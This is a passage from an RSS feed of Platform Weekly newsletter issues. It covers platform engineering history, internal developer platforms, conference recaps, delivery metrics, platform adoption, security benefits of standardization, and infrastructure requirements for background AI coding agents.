team\n\nWhat GitOps platform do you use and why?\nDo you want to be a Trailblazer for PlatformCon? Read more here.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Wed, 22 Mar 2023 00:00:00 GMT\n\n\n  The story of platform engineering\n  https://platformweekly.com/issues/the-story-of-platform-engineering\n  https://platformweekly.com/issues/the-story-of-platform-engineering\n  \n  \nHey there! This is Platform Weekly, your personal platform engineering butler. We hand-deliver the top-shelf stuff on a silver platter. \ud83e\udd50 Let\u2019s get bakin\u2019\nThe story of platform engineering\nThis week\u2019s edition of Platform Weekly is an excerpt from my latest article on the story of platform engineering. Read the full article here.\nPlatform engineering isn\u2019t just a trend, it\u2019s the future of software delivery.\nJust a few years ago, this would have been nothing more than a wild claim. Sure, some organizations had started cobbling together their complex tech and tools into something that was easier for developers to use independently of Ops. But \u201cplatform engineering\u201d as an established discipline didn\u2019t exist yet.\nThat all changed in 2019 when we started the first platform engineering meetup in Berlin. At the time, it was a small group of engineers who were frustrated with DevOps adoption at their organizations. While \u201cyou build it, you run it\u201d DevOps helped some software teams boost productivity and efficiency, it was extremely painful for everyone else. \nFor the vast majority of engineering organizations, the growing complexity of cloud-native technologies and architectures, paired with the expectation for developers to be responsible for it all, was a crippling combination. Developers burnt out trying to ship code fast under increasingly high cognitive load. Ops were drowning in tickets from developers overwhelmed by their DevOps setups. Everyone was frustrated, and productivity suffered. Something needed to change.\nIn 2019, we had a fuzzy idea of what successful platforms and platform teams could look like. But the examples we had were still those from Google and Netflix, models that weren\u2019t attainable for most other organizations. That\u2019s where our small meetup group came in. We wanted a space to share our learnings and get advice from practitioners who\u2019d built platforms at organizations more similar to ours. \nThis small but rapidly growing community realized that building platforms was its own discipline, complementary to but still different from DevOps. They called it platform engineering.\nPlatform engineering resonated with a lot of folks. It gave a name to and a shared understanding of something that already existed. When the Berlin meetup moved online during the pandemic, more and more platform engineers in cities around the world created their own chapters. \nQuick bites\n\n\nCalling all fans of salary transparency! Help your fellow platform practitioners know their worth when you respond to the 2023 Platform Engineers Salary Survey. It\u2019ll take you ~2 minutes, and it helps the community a lot. \ud83d\udcaa\n\nICYMI: OpenTF is now OpenTofu and has joined The Linux Foundation.\n\n\nPlatform engineering is all the rage these days. This article can help you separate the facts from the hype.\n\nDon MacVitte shares his take on the future of AI in work: \u201cThere is a concept we need to solidify that I will call the 90% Rule\u2014until someone smarter than me comes up with a better name. The 90% Rule is simple: Generative AI will be able to do 90% of the work in areas that it is good at.\u201d\n\nThe API Gateway is fast becoming an essential part of the cloud operating system.\n\n\nRecent controversy around McKinsey\u2019s article \u2018Yes, you can measure developer productivity\u2019 begs the question: Should we measure developer productivity?\n\nANZ\u2019s platform tech lead Michael Fornaro on building Internal Developer Platforms: \u201cIt\u2019s not a one-time thing [that] you just build and walk away [from]. It\u2019s got a life.\u201d]]>\n  \n  Wed, 04 Oct 2023 00:00:00 GMT\n\n\n  What every platform engineer needs to know\n  https://platformweekly.com/issues/what-every-platform-engineer-needs-to-know\n  https://platformweekly.com/issues/what-every-platform-engineer-needs-to-know\n  \n  \nWe\u2019ve just kicked off the latest class of our Platform Engineering Certifications, which means I\u2019ve had the chance to have a chat with 50+ students on their thoughts and hopes. These are people who either want to be platform engineers or want to do platform engineering better (either as a Head of Platform Engineering or as a team member).\n9/10 times. They need to know the same things.\n\n\nCULTURE CULTURE CULTURE. Longtime readers are probably tired of me banging this drum. But in the vast majority of conversations I have about people's challenges or their plans, they fundamentally underestimate how much more important the cultural side of platform engineering (Platform as Product, product management principles, etc) is compared to the technical.\n\nPlatform engineering is a multi-player game. Your platform team will touch security, legal, compliance, devs & ops, infrastructure, and executives. It cuts across the entire org. You cannot over-optimize on one stakeholder. Not if you want to actually build it, and not if you want people to actually get value from it!\n\nAI is going to change everything. AI-powered platforms are already doing crazy things. Code generation and god forbid infra file generation aren\u2019t great. But AI is going to sweep through every piece of the platform engineering puzzle, and we need to be ready for it - and the security, and compliance challenges that brings.\nThere is a reason we focus so much on this in our courses. If you miss any of these 3 points, you aren\u2019t going to succeed as a platform engineer. It really is as simple as that.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Build vs. buy your Internal Developer Platform?\n  https://platformweekly.com/issues/build-vs-buy-your-internal-developer-platform\n  https://platformweekly.com/issues/build-vs-buy-your-internal-developer-platform\n  \n  \nHey there! \ud83e\udd50 It\u2019s Platform Weekly, the platform engineering newsletter smooth as a well-aged whiskey, minus the hangover. Let\u2019s get bakin\u2019\nShould you build or buy your Internal Developer Platform?\nShould you build your Internal Developer Platform (IDP) or buy? It\u2019s a big question, especially for enterprise.\nAn important clarification: you can\u2019t just buy an IDP. Instead, you would get a  Platform-as-a-service (PaaS). A PaaS is one tool that covers parts of CI, CD, environments, infrastructure, and interfaces for developers. A PaaS can be great for startups or engineering organizations with less than 50 developers. But there are significant limitations for larger enterprises: lack of customization, limited or no ability for developers to directly access underlying technologies, integration challenges with legacy technologies, and vendor lock-in. \nAn Internal Developer Platform \u201cconsists of many different tech and tools, glued together in a way that lowers cognitive load on developers without abstracting away context and underlying technologies.\u201d Successful IDPs are built following a platform as a product approach.\nAccording to Humanitec\u2019s 2023 DevOps Benchmarking study, top performing organizations don\u2019t build their Internal Developer Platform from scratch. Instead, they use a combination of open source and vendor tools tailored to their specific needs. IDPs built this way work in a brownfield setup, offer more freedom and flexibility, unlock long-term cost savings, and prevent vendor lock-in. \nFor brownfield enterprise setups, building an IDP is necessary to properly integrate legacy systems and keep the flexibility required by medium and large organizations. In short: If you\u2019re an enterprise, buying a PaaS simply won\u2019t work.\nWant to build an Internal Developer Platform but don\u2019t know where to start? Check out these reference architectures inspired by McKinsey\u2019s research of hundreds of real-life setups.\n\u064eQuick Bites\n\n\nMaurico (Salaboy) Salatino joined a recent episode of the PurePerformance podcast to weigh in on practical platform engineering vs. the marketing hype.\n\nHow can Akin\u2019s Laws of Spacecraft Design translate to good software design?\n\nHere are some ways engineering teams can better handle unplanned work.\n\nIntuit\u2019s pivot to cloud computing meant they had to change (almost) everything about how they build and manage application infrastructure. Platform engineering was part of the solution.\n\nBuild your IDP at light speed with the first-ever platform reference architecture, courtesy of the team at McKinsey \ud83d\udc47\n\n\nDave Sudia took a stab at using AI assistants for platform engineering and shared what he learned from the process.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n \n\u200d]]>\n  \n  Thu, 12 Dec 2024 00:00:00 GMT\n\n\n  Platform Engineer courses & Kelsey Hightower Q&A!?\n  https://platformweekly.com/issues/platform-engineer-courses-kelsey-hightower-q-a\n  https://platformweekly.com/issues/platform-engineer-courses-kelsey-hightower-q-a\n  \n  \nHey there! Am I dreaming? Or is PlatformCon 2024 really this awesome? \nPlatform Engineer courses & Kelsey Hightower Q&A!?\nWe are officially 3 days away from the launch of PlatformCon 2024, and the event just keeps getting better. Not only did I get to announce the first-ever official platform engineering course last week BUT this week I get to share that Kelsey Hightower will be doing a live Q&A to close off the first day of PlatformCon\ud83d\ude31\nKelsey wasn\u2019t just a key contributor to Kubernetes, he\u2019s been a leader and a teacher in this space for years, and it\u2019s awesome to have him at PlatformCon this year. \nBut it\u2019s not just Kelsey, making this year so cool. It is truly a worldwide platform engineering event, with some pretty awesome live events from New York to Shanghai.\nWhat part are you most excited about?\nQuick bites\nEvents Articles of the week:\n\n\nIf you\u2019re in New York, or Austin - these events are looking awesome!\nFrom the community:\nThe Platform Engineering Slack is getting crazy with PlatformCon fever. Come join!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  Platform Engineering takes over KubeCon\n  https://platformweekly.com/issues/platform-engineering-takes-over-kubecon-2\n  https://platformweekly.com/issues/platform-engineering-takes-over-kubecon-2\n  \n  \nHey there! This is Platform Weekly, your weekly dive into the wide world of platform engineering. Special guest writer, my friend and colleague platform master Mathieu Benoit breaks down everything platform engineering this years KubeCon Europe.\nPlatform Engineering takes over KubeCon\nThis platform weekly is from Mathieu Benoit\u2019s article Platform Engineering @ KubeCon Paris 2024\nKubeCon Paris 2024 just ended! That was my 3rd KubeCon in-person, 2nd as both Cloud Native Ambassador (CNA) for the CNCF and Customer Success Engineer for Humanitec.\nWithout any surprise, Platform Engineering was again a big topic of discussion during KubeCon Paris 2024. And yes, AI/ML was everywhere too. But both are not incompatible! ;)\nIn comparison to the previous KubeCon Chicago 2023, I saw less talks and discussions about the building blocks of the Platforms, but instead KubeCon Paris 2024 was more about the capabilities and the interfaces with the Platforms. The focus was more about customers stories and best practices around Platform-as-Product and UX. Which I really appreciate!\ntl,dr\n\n\nThe TAG App Delivery and the WG Platforms did an amazing work to nurture and facilitate collaboration and knowledge sharing with the community.\n\nThe first ever PE Day was a huge success!\n\nPlatform Engineering was not only mentioned during the PE Day, but also across different other events.\n\nPE talks are not just anymore about toolings and building blocks, the community is elevating the discussion with best practices around Platform-as-Product, the UX of Platforms, etc.\n\nYes, AI/ML was everywhere too, but at the end of the day you need a solid Platform Engineering practice to be successful with it ;)\nThere is way more to absorb than just this TLDR. From lists of all platform engineering talks to Matthieu\u2019s awesome work at KubeCon. Read the full article here.\nQuick bites\nArticles that blew me away: \n\n\nWhy Isn\u2019t the World Upgrading Its Databases?\nFrom the community:\nWere you at KubeCon Paris? Share your thoughts in the channel]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  The early bird gets the platform worm\n  https://platformweekly.com/issues/the-early-bird-gets-the-platform-worm\n  https://platformweekly.com/issues/the-early-bird-gets-the-platform-worm\n  \n  \nHey there! This is Platform Weekly, your weekly fly through the platform engineering sky\ud83d\udd4a\nThe early bird gets the platform worm\nI had a lot of fun last year with special sessions, and promotional events for PlatformCon last year. This time as PlatformCon is bigger than ever (More events, more speakers, more days and of course more attendees!). We\u2019ve decided to go even bigger. That\u2019s why this year, we\u2019re running an early bird registration special full of AWESOME prizes.\nEveryone who registers before March 1st will enter the chance to win\ud83d\udc47\n\ud83d\udd38Access to special sessions with platform legends like Gregor Hohpe, Manuel Pais and more!\n\ud83d\udd38Some of the hottest items from the Platform Engineering store\n\ud83d\udd38The (in)famous DevOps is dead merch. Probably the thing I\u2019m most asked about\ud83d\ude1c\n\ud83d\udd38And much much more!\nWe wanted to make this really simple, so all you have to do is register for PlatformCon 2024 before March 1st, and you have the chance to win\ud83c\udfc6\nQuick bites\nWho said evolution isn\u2019t real?\nArticles that blew me away: \n\n\n How Platform and Site Reliability Engineering Are Evolving DevOps\nFrom the community:\n\n\nTell your platform story. What got you into Platform Engineering?]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  Platform analytics is how you win \ud83e\udd47\n  https://platformweekly.com/issues/platform-analytics-is-how-you-win\n  https://platformweekly.com/issues/platform-analytics-is-how-you-win\n  \n  \nHello!\nGood data is key to a successful platform. Today\u2019s issue will cover what you should look for in your setup.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nPlatform analytics is how you win\nThere are a lot of steps in the software delivery process between developers and customers and just as many opportunities for things to go wrong. That\u2019s why you want to streamline the process, making it faster and more reliable.\nIn order to do that, your platform needs to provide some necessary data. \ud83d\udcca A good engineering analytics platform gives you the tools you need to identify how different pipelines are performing and where inefficiencies exist.\nThe most important measurements of success for delivery systems are:\n1\ufe0f\u20e3 Velocity. The faster you move, the faster you can respond to market demands or client feedback. Keep in mind that this will mean different things to different team members and that each perspective is valid. For example, velocity for a software engineer is how long it takes to work through their PR from the moment they open it until it\u2019s reviewed and merged in. For DevOps, velocity could be about how long an average build takes. For the whole process, velocity is the release cycle: how long something takes from inception to getting out the door.\n\n2\ufe0f\u20e3 Risks. Risk is unavoidable. For example, if you move too fast, security or quality can suffer. Thankfully, risk leaves early warning signals. Analyzing each phase of the cycle will help you identify what these signs are in your setup. If items spend a lot of time in development, for example, this indicates that the features are too large.\n3\ufe0f\u20e3 Throughput. If you move too slowly in your quest for quality, your final throughput numbers will suffer.\nYou need to find a good balance between the three that matches the needs of your organization and teams.\nIf you\u2019re into DevOps, you\u2019ll want to use DORA metrics: deployment frequency, lead time for change, time to restore, change failure rate. DORA will help you determine the three measurements we discussed earlier.\nWhen you put this all together, you can define tangible success criteria and deliver insights to the right stakeholders. Over time, the metrics will pinpoint where teams are improving and areas for growth. This can make your delivery pipeline more predictable and efficient.\nIt\u2019s important to note that data isn\u2019t a silver bullet. You still need to foster transparency, pay attention to trends, develop a positive team culture, and get internal buy-in. That being said, the more data you have, the easier it is to achieve great things.\nWant to dive deeper? Watch Logilica Founder Ralf Huuck\u2019s PlatformCon talk on delivering predictably with platform analytics.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Looking for the best DevOps tools in 2022? Search no further. This overview by Romaric Philog\u00e8ne has you covered.\n\ud83e\udd50 Interesting read about how Airbnb automates incident management in a rapidly evolving ensemble of microservices.\n\ud83e\udd50 So you're a podcast person. Don't worry, I gotchu. On the lastest episode of The Engineering Enablement Podcast, Picnic Technologies\u2019 Jelmer Borst talks about the value of having a Product Manager in a platform team:\n\ud83e\udd50 Now taking nominations for the worst URL ever created...\nThat's it for the #5. Learned something new? Then share it and spread the platform \ud83c\udf89\nThis is a community-driven newsletter, so if you have anything \ud83d\udd25 to share from the cloud-native world, send it our way. You can submit your ideas here.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Optimizing Feedback Loops To Improve DevEx\n  https://platformweekly.com/issues/optimizing-feedback-loops-to-improve-devex\n  https://platformweekly.com/issues/optimizing-feedback-loops-to-improve-devex\n  \n  \nHey there!\nEveryone is talking about the developer experience, and for good reason. I\u2019m super excited to welcome another guest author from the community: Okay\u2019s CEO and Co-founder Antoine Boulanger. He\u2019s sharing his approach to boosting DevEx.\nLet\u2019s get bakin\u2019\nOptimizing feedback loops to improve DevEx\nAntoine Boulanger, CEO and Co-founder at Okay\nUnderstanding your engineers\u2019 pain points is important for determining which feedback loops to investigate and address. The approach is very different when the CS team is overloaded with customer bug reports, vs when the engineering team is frustrated that it can't ship code fast enough.\nThere are three main types of feedback loops:\n\n\nQuality - all the flows that engineers use to ensure they\u2019re building code that meets their customers\u2019 requirements\n\nDelivering code - all the flows engineers use while writing and modifying code\n\nProcess - all the checklists or meetings engineers are required to attend as part of their job responsibilities\nEach category has its own set of feedback loops that can be evaluated and optimized to improve the effectiveness of the team. Below are examples of common loops across each category.\nQuality Feedback Loops:\n\n\nWriting a new test \n\nCode reviews \n\nResponding to page\nDelivering Code Feedback Loops:\n\n\n Common IDE/CLI commands \n\nFinding documentation \n\nBuilding a service \n\nCreating a new service \n\nDeploying a change \nProcess Feedback Loops:\n\n\nPostmortems \n\nAgile/Scrum \n\nOnboarding to a new team \n\nOn-call \nOptimizing feedback loops to improve productivity typically follows its own loop:\n\n\n Catalog all your existing feedback loops with an understanding of their frequency, latency, usability, and purpose.\n\nCreate a prioritization framework that weighs these factors in a way that is consistent with your values and culture.\n\nCreate an action plan to prioritize.\nRemember that sometimes, the right choice can be to remove the loop altogether. For example, let\u2019s say you have a centralized approval committee that requires every engineer to present a design for every new change. It\u2019s important to evaluate and measure whether this process loop is accomplishing its purpose, and worth the ROI.\nLoops must be analyzed and measured because many of them are frequently overlooked. It\u2019s very tempting to ignore and delay indefinitely working on slow build times, and continue prioritizing new features instead. Over time, too many poor loops can lead to the feeling of death by a thousand cuts.Check out the full article here.\n\u200d\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Platform engineering =/= building fancy UIs. Kaspar von Gr\u00fcnberg explains how confusing the two is kneecapping your organization\u2019s platform engineering efforts.\n\ud83e\udd50 Most platform engineering pitfalls can be avoided with treating your platform as a product. Aaron Erickson makes his case over at InfoQ.\n\ud83e\udd50 Platform engineering helps you do more with less. Daniel Bryant explains:\n\u201cIf the developer experience \u2014 and enabling the developer\u2019s work \u2014 is crucial to achieving business goals and using resources wisely, the DevOps/PlatformOps role and platforming engineering are equally instrumental in continuously improving and safeguarding the developer experience.\u201d\n\ud83e\udd50 What happens when you create a pod in Kubernetes? A thread \ud83e\uddf5\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some highlights from the community: \n\n\nPlatform engineers from our community are looking for a job \n\nEnabling GitHub authentication provider in the Backstage frontend\n\nOpen source examples on how to coordinate a golden path document at my organization\n\nLooking for a cost-effective, scalable, and reliable log analysis solution\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Wed, 15 Mar 2023 00:00:00 GMT\n\n\n  How to drive platform adoption\n  https://platformweekly.com/issues/how-to-drive-platform-adoption\n  https://platformweekly.com/issues/how-to-drive-platform-adoption\n  \n  \nHey there! Welcome to Platform Weekly. Your kick of platform engineering sand. Every week we unpack the latest and greatest in platform engineering news, trends, best practices, and lessons.\nWhat\u2019s hot this week:\n\n\nI tried to summarise 30 pages of data into 1 webinar on the State of Platform Engineering\n\nEverything you need to know about the platform engineering certification\n\nThe PlatformCon CFP is filling up at the fastest rate ever!\nwhy 18% of platforms are failing\nThere is a reason why one of the most common stories in the platform engineering fundamentals course is, \u201cWe built a platform. No one is using it. Now what?\u201d You might have the best platform ever - but if no one uses it who cares? Or worse, if those who use it are only active users because it\u2019s been enforced..\nAdoption is the life or death question for any product, and platform engineering is no different. It\u2019s no surprise that when looking at data from the most recent State of Platform Engineering most platforms, if they are adopted, are adopted by force. If you spent a year and 4m building one and no one uses it? Well, guess you have to force your customers to use it.\nWhat you don\u2019t realize is that your only adoption is by force - your platform is likely dead already.\nSo what can you do if you want to avoid this deathtrap and ensure your platform actually gets adopted? This is an immense topic ofc, we cover it across multiple hours in the course. But here are 3 crucial things to think about.\n\n\nBottom Up Top Down: As my friend Kaspar von Gr\u00fcnberg eloquently put it in his newsletter last week. By focusing on the developer from the beginning, you are building allies from the ground up, and most of all you\u2019re understanding what the actual users need. 1 developer who LOVEs your platform has 100x more power to drive adoption than anyone else.\n\nStart small: I guarantee that if you start small with a single team, you\u2019ll have more users on your platform in 1 year, than if you tried to build a platform for 100 teams on day 1. \n\nACTUALLY TREAT YOUR PLATFORM LIKE A PRODUCT: How banal and obvious you might shout at me here. Platform as a Product is such a key part of platform engineering for a reason. Good products involve user research, they involve feedback and iteration. They are about understanding your customers\u2019 needs, wants and balancing the two. I can guarantee you that half the platforms surveyed in the state of platform engineering are missing the key details of Platform as a Product (whether it\u2019s they\u2019re fault or not).\nIt\u2019s not a coincidence that the platform engineering course focuses so heavily on helping teams understand how to actually put platform as a product into practice, how to start small, and grow, and how to sell your platform.\nBecause in the end, that is what is going to drive adoption of it. And in the end. Adoption is everything.]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  2024 platform engineering recap\n  https://platformweekly.com/issues/2024-platform-engineering-recap\n  https://platformweekly.com/issues/2024-platform-engineering-recap\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly sip of platform engineering mulled wine. Every week we cover all things platform engineering from new community initiatives to best practices, learnings, and news. We\u2019ve just got 2 more platform weeklies in this wild year of 2024. They\u2019ll be great ones.\nWhat\u2019s hot this week:\n\n\nIt\u2019s your last chance to use your 2024 learning budget to join the platform engineering certification course\n\nIn LATAM and looking for a new platform engineering job?\n\nMeet the first 30 platform engineering community ambassadors!\n2024 in review\nIt\u2019s been an incredible year. To think 365 days ago, we only just launched PlatformCon 2024. There was no certification course. This newsletter was almost 6x smaller. And half the articles shared in Slack were about whether the platform engineering \u201cfad\u201d would fade away.\nIn Platform Weekly #62 which closed off last year, I was still blown away by how platform engineering had begun to take over the world of cloud-native events. I was excited about the idea of Minimum Viable Platforms and how they might radically change the risk profile of a platform engineering initiative. \nIt\u2019s been 52 weeks since then. Let\u2019s see how far we\u2019ve come.\n\n\nPlatform engineering goes mainstream: It was a big deal when Gartner put platform engineering on a hype cycle in 2022. This year\u2026 it was on 10. AND it had it\u2019s own. Plus infrastructure platform engineering saw itself on 8 as well\n\nAll in on learning: The community this year hosted 87 webinars. Launched the first-ever platform engineering certification track, Trainings for platform teams, and an ambassador program focused on building a community of experts within the community dedicated to helping us all learn and grow\n\nPlatformCon is officially huge: When I first dubbed PlatformCon, the world\u2019s largest platform engineering event, it was tongue-in-cheek, as in 2022 it was the only one. Now there are dozens - and PlatformCon truly holds that title. 2024 featured the first ever in-person live day, the first hands-on workshops, and grew from 2 days to 5 days with over 30,000 people flowing through it\nIt\u2019s not just these 3 points. 2024 was the year when standards and best practices for platform engineering really took off. The platform engineering reference architectures launched in 2023 were featured in almost 30% of talks at PC24.\nMinimum Viable Platforms (MVP) were barely more than theory this time last year, and now more than 90% of platform teams I work with are embracing this model. It\u2019s on the path to becoming the de-facto way enterprises approach platform initiatives.\nAnd all this is just from the last year's days\u2026\nWhat will the next 365 days look like? Well, for that you\u2019ll have to wait for next week.\nBut I can tell you that the community ain\u2019t finished growing yet. We kick off in January right away with more platform engineering courses. We\u2019ve got big things planned for PlatformCon. And there is a LOT planned with our first-ever group of Community Ambassadors.\nI can\u2019t wait.]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  What I learned at PlatformCon Paris\n  https://platformweekly.com/issues/what-i-learned-at-platformcon-paris\n  https://platformweekly.com/issues/what-i-learned-at-platformcon-paris\n  \n  \nYesterday, the world\u2019s largest platform engineering conference was in Paris for the first time ever. It was awesome! France is one of those countries where, if you don\u2019t know the people to talk to or the businesses, it\u2019s hard to know what\u2019s going on there.\nLuckily for me;) I know Luc Legardeur and his team at Wescale, alongside our awesome French platform engineering ambassadors. That gives me the secret tunnel into the awesome stuff that\u2019s happening in the French platform engineering universe.\n\n\n500+ attendees\n\n20 partners\n\n20+ speakers\nAnd this was just the first go!\nSo, what were some of the highlights?\n\n\nPlatform engineering fundamentals and challenges are universal. Whether you\u2019re French, Italian, or in Silicon Valley. Our best practices are the same.\n\nAI might be the elephant in the room. But platform engineering is the rocket that sends that elephant to Mars.\n\nThe stuff we are doing with AI now is Next. Level. And it\u2019s not just American startups doing. Luc\u2019s new adventure Solario.ai proves it\nWe\u2019ve now done London, New York, and Paris. Where should PlatformCon go next? Reply and let me know!]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  Platform Engineering takes over KubeCon\n  https://platformweekly.com/issues/platform-engineering-takes-over-kubecon\n  https://platformweekly.com/issues/platform-engineering-takes-over-kubecon\n  \n  \nHey there! This is Platform Weekly, your magnifying glass to all things platform engineering. Let\u2019s take a look\ud83d\udd0e\nPlatform Engineering takes over KubeCon\nKubeCon Chicago just finished, and it was awesome. I\u2019ve been going to KubeCon for years but this time was very different. This time it might as well have been PlatformCon live.\nIf you walked around Chicago this year, or sat in on calls or even just talked to people in the queue for the bathroom at House of Kube, it was clear that platform engineering has taken over a big part of the industry mindshare. I had so many amazing conversations with so many engineering organizations, and professionals of all sizes about their Internal Developer Platform and plans. This is huge.\nI was at KubeCon Valencia less than 2 years ago. I was there shouting to the hills about platform engineering. I\u2019ve been at every KubeCon since, talking to hundreds of people on the convention floors or at House of Kube, and the overwhelming response?\n\u201cWhat is platform engineering\u201d\nEven at my favorite KubeCon (you can probably guess which one that was #DevOpsIsDead), the majority of conversations I had were about what platform engineering actually is and how it works.\nPeople came to our booth and asked, \u201cOkay, so who are you?\u201d\nThis time, it could not have been more different. People not just know what platform engineering is. They want to see the platform orchestrator. They\u2019re building platforms. And some are building them pretty damn well.\nI think most would agree at this point that if platform engineering is not in your budgets for 2024 (or at the very least in your roadmap to look at), you are falling behind.\n\u200d\nQuick bites\nArticles that blew us away:\n\n\nWhat About the Infrastructure?\n\nEngineering Tomorrow: The Product-Centric Pathway to Generative AI \nFrom the community:\n\n\nHow to move from a DevOps team to a Platform Team\n\nWhat is the first thing that comes into your mind is when you hear the phrase, \"Improve Developer Productivity\"? \n\u200d]]>\n  \n  Fri, 15 Mar 2024 00:00:00 GMT\n\n\n  Security benefits of platform engineering\n  https://platformweekly.com/issues/security-benefits-of-platform-engineering\n  https://platformweekly.com/issues/security-benefits-of-platform-engineering\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly piece of the platform engineering orange. Every week, we unpack a part of the platform engineering universe diving into news, lessons, and best practices.Haven\u2019t answered the State of Platform Engineering 2024 surveys yet? Help us out!\n\n\nState of Platform Engineering 2024 Survey\n\n2024 Platform Engineer Salary Survey\nSecurity benefits of platform engineering\n\u200d\nThere are two contradictory truths in the wide world of large-scale platform engineering projects.\nThe first is that almost no one (except security) cares about security. The second is that nothing gets done, without sign-off from security.\nI was on a call with almost 100 people yesterday talking about platform engineering. Some were people who\u2019d only just started their first platform engineering role, others were Heads of platform teams with 30 years of experience. When I asked the group, \u201cWhat problems are you looking to solve with platform engineering?\u201d Almost zero of them mentioned security.\nThe answers were what you can imagine, standardization, cognitive load, ticket ops, etc. And it\u2019s completely understandable, those are the big money makers. It\u2019s what\u2019ll get you the funding you want for your platform, and they\u2019re what\u2019ll have the most impact on your organization.But they aren\u2019t enough to pass the most important sniff test of all. Will security sign off?\nLet me explain why they should.\nThe beautiful thing about platform engineering is that you can focus on all those money-makers\u2026 and better security comes with it.\nUnlike with, say, DevOps, the elements of platform engineering (the building of an Internal Developer Platform as a product) that drive business value are often the same that can drive improved security. And if they aren\u2019t automatically aligned, building an IDP that enables security by design is relatively simple and does not slow down or take away from your platform engineering initiative at all.\nThe standardization that drives better workflows that decrease config spread, and improve developer self-service so they can deploy faster and easier - is the same standardization that makes everything in your org easier for security to maintain.\nThose golden paths you\u2019re building to simplify devs' lives likely also for example massively reduce the attack service of your organization by decreasing the number of non-standard un-compliant environments and unique configurations that attackers can exploit.\nAt the same, platform engineering brings with it an unparalleled degree of versatility and scalability. \nDoes your organization need military-grade security for your Internal Developer Platform? \nWell, it can have it.\nDoes your org need multiple clouds? On-prem, and some air-gapped? Sure. It can have it.\nOr maybe it just needs to reduce the number of incorrectly made TF files. It can do that too.\nTake a look around your platform initiative. Especially if security isn\u2019t something you\u2019ve had in mind. Where might it easily fit in?\nYou might realize you might have had the arguments to convince your security team in front of you the whole time.\nYou won\u2019t find us needing PlatSecOps in 5 years time.\nYou\u2019ve got it covered already.\nP.S. It's your last chance to fill in the State of Platform Engineering survey!\n\n\nState of Platform Engineering 2024 Survey\n\n2024 Platform Engineer Salary Survey]]>\n  \n  Mon, 02 Dec 2024 00:00:00 GMT\n\n\n  AI agents need infra (and that's now your problem)\n  https://platformweekly.com/issues/ai-agents-need-infra-and-thats-now-your-problem\n  https://platformweekly.com/issues/ai-agents-need-infra-and-thats-now-your-problem\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly screw of the platform engineering bulb. Every week, we zoom into another area of platform engineering gold from community updates, to lessons and best practices. This week we\u2019ve got another banger guest newsletter from Lou Bichard\n\n\nHow to build a CI from the ground up (as good as the hyperscalers)\n\nHow to make self-service infrastructure 10X easier for developers\n\nAnother next level AI agent for the enterprise!?\nAI agents need infra (and that's now your problem)\nThe industry just leaped from \"AI suggests a line of code\" to \"AI writes entire pull requests while you sleep\" practically overnight. But I\u2019d forgive you for missing the announcements as keeping up with AI right now is like drinking from a firehose. Let me bring you up to speed on what\u2019s coming for your infrastructure.\nIn May, Google dropped Jules, an AI agent that can autonomously handle complex coding tasks in the background. OpenAI launched Codex that spins up its own development environments to work across entire codebases, writing and testing code without supervision. And Gitpod released Ona, designed specifically to run these autonomous agents securely within enterprise infrastructure. \nI can guarantee that in the next few months \u2013 or possibly even already \u2013 you're going to get tasked with evaluating these background coding agent tools. If you don't make that decision soon, there's a good chance your developers are already making it without you right now.\nYour new AI teammates will need somewhere to live\nSo what exactly are these new agent tools, and how do they work?\nBackground agents work like having an AI teammate you can assign tasks to and walk away from. Instead of sitting in your editor making suggestions, you give them a well-defined goal \u2013 \"add authentication to this API,\" \"migrate this component to TypeScript,\" or \"write unit tests for this module\" \u2013 and they go off and handle it independently.\nYou might trigger them by assigning a GitHub issue to an AI agent, messaging them in Slack, or using a dedicated interface where you describe what you want done. The agent then spins up its own isolated development environment in the cloud, clones your repository, writes the necessary code, runs tests, and eventually opens a pull request for your review.\nThey're surprisingly capable at handling routine but time-consuming tasks: refactoring legacy code, updating documentation, fixing bugs based on error logs, or implementing well-specified features. But they're not entirely magic (at least, not yet) as they can struggle with ambiguous requirements, complex architectural decisions, or tasks that require deep business context. As they work autonomously you lose the step-by-step visibility you get with traditional coding assistants which means you now need robust infrastructure and processes in place.\nThe most important difference to code assistants though is that background agents can't just run on a developer's laptop. To run in the background and in parallel they need environments where they can clone repos, install dependencies, run tests, and iterate on code. \nIn short, these agents need somewhere to actually run.\nAnother major challenge for platform teams is that most AI coding tools are built by YC-backed startups targeting other Silicon Valley companies. If you're working at an enterprise (and let's be honest, most platform teams are), these tools aren\u2019t designed for your reality. There's no way sending source code to an insecure LLM is going to pass your security team review.\nYour CISO-approved checklist for background agents\nWhen evaluating AI agents, you need to think beyond \"does it write good code?\" The key questions are: Does your source code leave your network? Can you audit what the agent accessed and modified? Does it integrate with your existing SSO and repository permissions? \nEach agent task should run in its own sandboxed environment with network policies you control. For larger organizations, you need multi-tenancy so different teams can't see each other's work. And critically \u2013 where does the actual processing happen? Most current tools ship your code to third-party clouds, which is often a non-starter for enterprises. \nNothing gets through to the enterprise unless it gets passed security first. That means you will always need more than just an off-the-shelf AI tool. Take Ona, for example, it's built as a privacy-first software engineering agent specifically for enterprise infrastructure. Any other approach to AI tooling isn't going to deliver what you need (or potentially even get 